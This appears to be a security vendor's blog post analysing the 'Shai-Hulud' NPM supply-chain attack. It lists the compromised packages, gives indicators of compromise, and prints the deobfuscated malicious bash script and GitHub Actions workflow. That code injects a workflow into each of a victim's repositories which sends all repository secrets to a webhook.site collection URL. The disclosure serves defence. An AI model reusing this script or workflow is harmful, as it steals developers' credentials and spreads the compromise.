"Shai-Halud" NPM attack runs malicious GitHub Action

Paul McCarty
10 mins
September 15, 2025

The Safety research team has identified an attack on the NPM ecosystem that is using stolen GitHub access to deploy a malicious GitHub Action file to further compromise accounts.

The background

Another popular NPM maintainer was compromised today which led to 38 NPM packages having malicious packages published to the NPM registry.

We don't know how the maintainer, Scott Cooper, was compromised, but Scott verified that he had been affected. I asked if he had been phished as this had been the way the other NPM account takeover attacks happened recently. Unfortunately, he doesn't know how he was compromised:

Some of the affected packages were available for 6 or 7 hours in total, however cached pacakges, and the persistent GitHub Actions continue to cause harm. I can confirm that 17 hours after the packages went live, people are still being compromised. You can search GitHub for "Shai-Hulud Migration" you'll see that there are hundreds of repositories affected.

Once the maintainer was compromised, the threat actors rushed to push out malicious versions of his packages. Josh helps maintain some VERY popular packages and the impact was felt really quickly. The affected packages are downloaded over 2 billion times a week! This is a massive attack!

The affected packages and versions are:

angulartics2 - 14.1.2
@ctrl/deluge - 7.2.2
@ctrl/golang-template - 1.4.3
@ctrl/magnet-link - 4.0.4
@ctrl/ngx-codemirror - 7.0.2
@ctrl/ngx-csv - 6.0.2
@ctrl/ngx-emoji-mart - 9.2.2
@ctrl/ngx-rightclick - 4.0.2
@ctrl/qbittorrent - 9.7.2
@ctrl/react-adsense - 2.0.2
@ctrl/shared-torrent - 6.3.2
@ctrl/tinycolor - 4.1.1, 4.1.2
@ctrl/torrent-file - 4.1.2
@ctrl/transmission - 7.3.1
@ctrl/ts-base32 - 4.0.2
encounter-playground - 0.0.5
json-rules-engine-simplified - 0.2.4, 0.2.1
koa2-swagger-ui - 5.11.2, 5.11.1
@nativescript-community/gesturehandler - 2.0.35
@nativescript-community/sentry - 4.6.43
@nativescript-community/text -1.6.13
@nativescript-community/ui-collectionview - 6.0.6
@nativescript-community/ui-drawer - 0.1.30
@nativescript-community/ui-image - 4.5.6
@nativescript-community/ui-material-bottomsheet - 7.2.72
@nativescript-community/ui-material-core - 7.2.76
@nativescript-community/ui-material-core-tabs - 7.2.76
ngx-color - 10.0.2
ngx-toastr - 19.0.2
ngx-trend - 8.0.1
react-complaint-image - 0.0.35
react-jsonschema-form-conditionals - 0.3.21
react-jsonschema-form-extras - 1.0.4
rxnt-authentication - 0.0.6
rxnt-healthchecks-nestjs - 1.0.5
rxnt-kue - 1.0.7
swc-plugin-component-annotate - 1.9.2
ts-gaussian - 3.0.6

The Safety research team was able to analyze versions 4.1.1 and 4.1.2 of the @ctrl/tinycolor package.

Two malicious versions of the package were published:  4.1.1 at UTC 2025-09-15 T19:52:46.624Z and 4.1.2 at UTC 2025-09-15 T20:13:43.540Z.

What does this malware do?

This is an interesting one. The malicious packages look for analysis reveals that compromised packages is a malicious package designed as a supply chain attack targeting GitHub repositories. This package disguises itself as a legitimate color manipulation library while embedding harmful code. The payload is in the bundle.js file which is obfuscated. Deobfuscation of the file makes understanding what the payload does relatively easy.

Key Malicious Components:

  • GitHub Secrets Exfiltration: The package contains a bash script that steals GitHub Personal Access Tokens and uses them to extract secrets from accessible repositories.
  • Workflow Injection: Creates a malicious branch named "shai-hulud" and injects a GitHub Actions workflow file that automatically exfiltrates all repository secrets when triggered.
  • Data Collection Endpoint: Uses webhook.site (specifically bb8ca5f6-4175-45d2-b042-fc9ebb8170b7) to collect stolen credentials.
  • AWS Credential Theft: Attempts to access EC2 metadata service (169.254.170.2) to steal AWS credentials from running instances.

Embedded bash script

The JavaScript payload file bundle.js has a bash script embedded in it. Let's take a look at the bash script:

#!/bin/bash

# Check if PAT is provided
if [ $# -eq 0 ]; then
    echo "Error: GitHub Personal Access Token required as first argument"
    echo "Usage: $0 <GITHUB_PAT>"
    exit 1
fi

GITHUB_TOKEN="$1"
API_BASE="https://api.github.com"
BRANCH_NAME="shai-hulud"
FILE_NAME=".github/workflows/shai-hulud-workflow.yml"

FILE_CONTENT=$(cat <<\'EOF\'
on:
  push:
jobs:
  process:
    runs-on: ubuntu-latest
    steps:
    - name: Data Processing
      run: curl -d "$CONTENTS" https://webhook[.]site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7; echo "$CONTENTS" | base64 -w 0 | base64 -w 0
      env:
        CONTENTS: ${{ toJSON(secrets) }}
EOF
)

# Colors for output
RED=\'\\033[0;31m\'
GREEN=\'\\033[0;32m\'
YELLOW=\'\\033[1;33m\'
NC=\'\\033[0m\' # No Color

# Function to make GitHub API calls
github_api() {
    local method="$1"
    local endpoint="$2"
    local data="$3"

    if [ -z "$data" ]; then
        curl -s -X "$method" \\
            -H "Accept: application/vnd.github.v3+json" \\
            -H "Authorization: token $GITHUB_TOKEN" \\
            "$API_BASE$endpoint"
    else
        curl -s -X "$method" \\
            -H "Accept: application/vnd.github.v3+json" \\
            -H "Authorization: token $GITHUB_TOKEN" \\
            -H "Content-Type: application/json" \\
            -d "$data" \\
            "$API_BASE$endpoint"
    fi
}

echo "🔍 Checking authenticated user and token scopes..."

# Get authenticated user and check scopes
AUTH_RESPONSE=$(curl -s -I -H "Authorization: token $GITHUB_TOKEN" "$API_BASE/user")
SCOPES=$(echo "$AUTH_RESPONSE" | grep -i "x-oauth-scopes:" | cut -d\' \' -f2- | tr -d \'\\r\')
USER_RESPONSE=$(github_api GET "/user")
USERNAME=$(echo "$USER_RESPONSE" | jq -r \'.login // empty\')

if [ -z "$USERNAME" ]; then
    echo -e "${RED}❌ Authentication failed. Please check your token.${NC}"
    exit 1
fi

echo -e "${GREEN}✓ Authenticated as: $USERNAME${NC}"
echo "Token scopes: $SCOPES"

# Check for required scopes
if [[ ! "$SCOPES" =~ "repo" ]]; then
    echo -e "${RED}❌ Error: Token missing \'repo\' scope${NC}"
    exit 1
fi

if [[ ! "$SCOPES" =~ "workflow" ]]; then
    echo -e "${RED}❌ Error: Token missing \'workflow\' scope${NC}"
    exit 1
fi

echo -e "${GREEN}✓ Required scopes (repo, workflow) verified${NC}"
echo ""

# List repositories with filters
echo "📋 Fetching repositories (updated since 2025)..."
REPOS_RESPONSE=$(github_api GET "/user/repos?affiliation=owner,collaborator,organization_member&since=2025-01-01T00:00:00Z&per_page=100")

# Parse repository information
REPO_COUNT=$(echo "$REPOS_RESPONSE" | jq \'. | length\')

if [ "$REPO_COUNT" -eq 0 ]; then
    echo -e "${YELLOW}No repositories found matching the criteria${NC}"
    exit 0
fi

echo -e "${GREEN}Found $REPO_COUNT repositories${NC}"
echo ""

# Process each repository
echo "$REPOS_RESPONSE" | jq -c \'.[]\' | while IFS= read -r repo; do
    REPO_NAME=$(echo "$repo" | jq -r \'.name\')
    REPO_OWNER=$(echo "$repo" | jq -r \'.owner.login\')
    REPO_FULL_NAME=$(echo "$repo" | jq -r \'.full_name\')
    DEFAULT_BRANCH=$(echo "$repo" | jq -r \'.default_branch // ""\')

    echo "📦 Processing repository: $REPO_FULL_NAME"

    # Get the latest commit SHA from the default branch
    echo "  → Getting default branch SHA..."
    REF_RESPONSE=$(github_api GET "/repos/$REPO_FULL_NAME/git/ref/heads/$DEFAULT_BRANCH")
    BASE_SHA=$(echo "$REF_RESPONSE" | jq -r \'.object.sha // empty\')

    if [ -z "$BASE_SHA" ]; then
        echo -e "  ${RED}❌ Could not get default branch SHA. Skipping...${NC}"
        continue
    fi

    # Create new branch
    echo "  → Creating branch: $BRANCH_NAME"
    BRANCH_DATA=$(jq -n \\
        --arg ref "refs/heads/$BRANCH_NAME" \\
        --arg sha "$BASE_SHA" \\
        \'{ref: $ref, sha: $sha}\')

    BRANCH_RESPONSE=$(github_api POST "/repos/$REPO_FULL_NAME/git/refs" "$BRANCH_DATA")
    BRANCH_ERROR=$(echo "$BRANCH_RESPONSE" | jq -r \'.message // empty\')

    if [ -n "$BRANCH_ERROR" ] && [[ "$BRANCH_ERROR" != "null" ]]; then
        if [[ "$BRANCH_ERROR" == *"Reference already exists"* ]]; then
            echo -e "  ${YELLOW}⚠ Branch already exists. Continuing with file upload...${NC}"
        else
            echo -e "  ${RED}❌ Failed to create branch: $BRANCH_ERROR${NC}"
            continue
        fi
    else
        echo -e "  ${GREEN}✓ Branch created successfully${NC}"
    fi

    # Create file content with timestamp substitution (base64 encoded)
    FILE_CONTENT_BASE64=$(echo -n "$FILE_CONTENT" | base64 | tr -d \'\
\')

    # Upload file to the new branch
    echo "  → Uploading $FILE_NAME to branch..."
    FILE_DATA=$(jq -n \\
        --arg message "Add $FILE_NAME placeholder file" \\
        --arg content "$FILE_CONTENT_BASE64" \\
        --arg branch "$BRANCH_NAME" \\
        \'{message: $message, content: $content, branch: $branch}\')

    FILE_RESPONSE=$(github_api PUT "/repos/$REPO_FULL_NAME/contents/$FILE_NAME" "$FILE_DATA")
    FILE_ERROR=$(echo "$FILE_RESPONSE" | jq -r \'.message // empty\')

    if [ -n "$FILE_ERROR" ] && [[ "$FILE_ERROR" != "null" ]]; then
        if [[ "$FILE_ERROR" == *"already exists"* ]]; then
            echo -e "  ${YELLOW}⚠ File already exists on branch${NC}"
        else
            echo -e "  ${RED}❌ Failed to upload file: $FILE_ERROR${NC}"
        fi
    else
        echo -e "  ${GREEN}✓ File uploaded successfully${NC}"
    fi

    echo ""
done

echo -e "${GREEN}🎉 Script execution completed!${NC}"

Malicious GitHub Action

This package creates a malicious branch named "shai-hulud" and injects a GitHub Actions workflow file that automatically exfiltrates all repository secrets when triggered.

on: push
jobs:
  process:
    runs-on: ubuntu-latest
    steps:
    - name: Data Processing
      run: curl -d "$CONTENTS" https://webhook[.]site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7; echo "$CONTENTS" | base64 -w 0 | base64 -w 0
      env:
        CONTENTS: ${{ toJSON(secrets) }}

Unfortunately, this malicious GitHub Action is running in hundreds of GitHub user's accounts right now. Here's one example:

Attack Impact:

This sophisticated attack can compromise:

  • API keys and tokens stored in GitHub secrets
  • Cloud service credentials (AWS, GCP, Azure)
  • Database passwords
  • Deployment keys and third-party service tokens

The attack is particularly dangerous as it leverages legitimate GitHub Actions infrastructure, making detection difficult while providing persistent access through injected workflow files.

Unfortunately, the attack has been successful. You an see here a particular GitHub user

And other users on the Hackernews post said they were affected:

Indicators of Compromise (IOCs)

Based on my research this threat campaign has several IOCs you can look for:

NPM Packages and Versions:

angulartics2 - 14.1.2
@ctrl/deluge - 7.2.2
@ctrl/golang-template - 1.4.3
@ctrl/magnet-link - 4.0.4
@ctrl/ngx-codemirror - 7.0.2
@ctrl/ngx-csv - 6.0.2
@ctrl/ngx-emoji-mart - 9.2.2
@ctrl/ngx-rightclick - 4.0.2
@ctrl/qbittorrent - 9.7.2
@ctrl/react-adsense - 2.0.2
@ctrl/shared-torrent - 6.3.2
@ctrl/tinycolor - 4.1.1, 4.1.2
@ctrl/torrent-file - 4.1.2
@ctrl/transmission - 7.3.1
@ctrl/ts-base32 - 4.0.2
encounter-playground - 0.0.5
json-rules-engine-simplified - 0.2.4, 0.2.1
koa2-swagger-ui - 5.11.2, 5.11.1
@nativescript-community/gesturehandler - 2.0.35
@nativescript-community/sentry - 4.6.43
@nativescript-community/text -1.6.13
@nativescript-community/ui-collectionview - 6.0.6
@nativescript-community/ui-drawer - 0.1.30
@nativescript-community/ui-image - 4.5.6
@nativescript-community/ui-material-bottomsheet - 7.2.72
@nativescript-community/ui-material-core - 7.2.76
@nativescript-community/ui-material-core-tabs - 7.2.76
ngx-color - 10.0.2
ngx-toastr - 19.0.2
ngx-trend - 8.0.1
react-complaint-image - 0.0.35
react-jsonschema-form-conditionals - 0.3.21
react-jsonschema-form-extras - 1.0.4
rxnt-authentication - 0.0.6
rxnt-healthchecks-nestjs - 1.0.5
rxnt-kue - 1.0.7
swc-plugin-component-annotate - 1.9.2
ts-gaussian - 3.0.6

Look for evidence of compromise in your GitHub account:

Look for any repositories with the branch names "shai-hulud" or with a GitHub Action workflow file named shai-hulud-workflow.yml in the .github/workflows/ folder.

Let us know if this blog post helped you

Hit me up directly if you have any questions about this campaign.

Paul McCarty - Head of Research, Safety

You can find me on LinkedIn and BlueSky.

Related

Similar Posts

Secure your supply chain in 60 seconds.
No sales calls, no complex setup.
Just instant protection.

Get Started for Free
View Documentation
Arrow
CTA Graph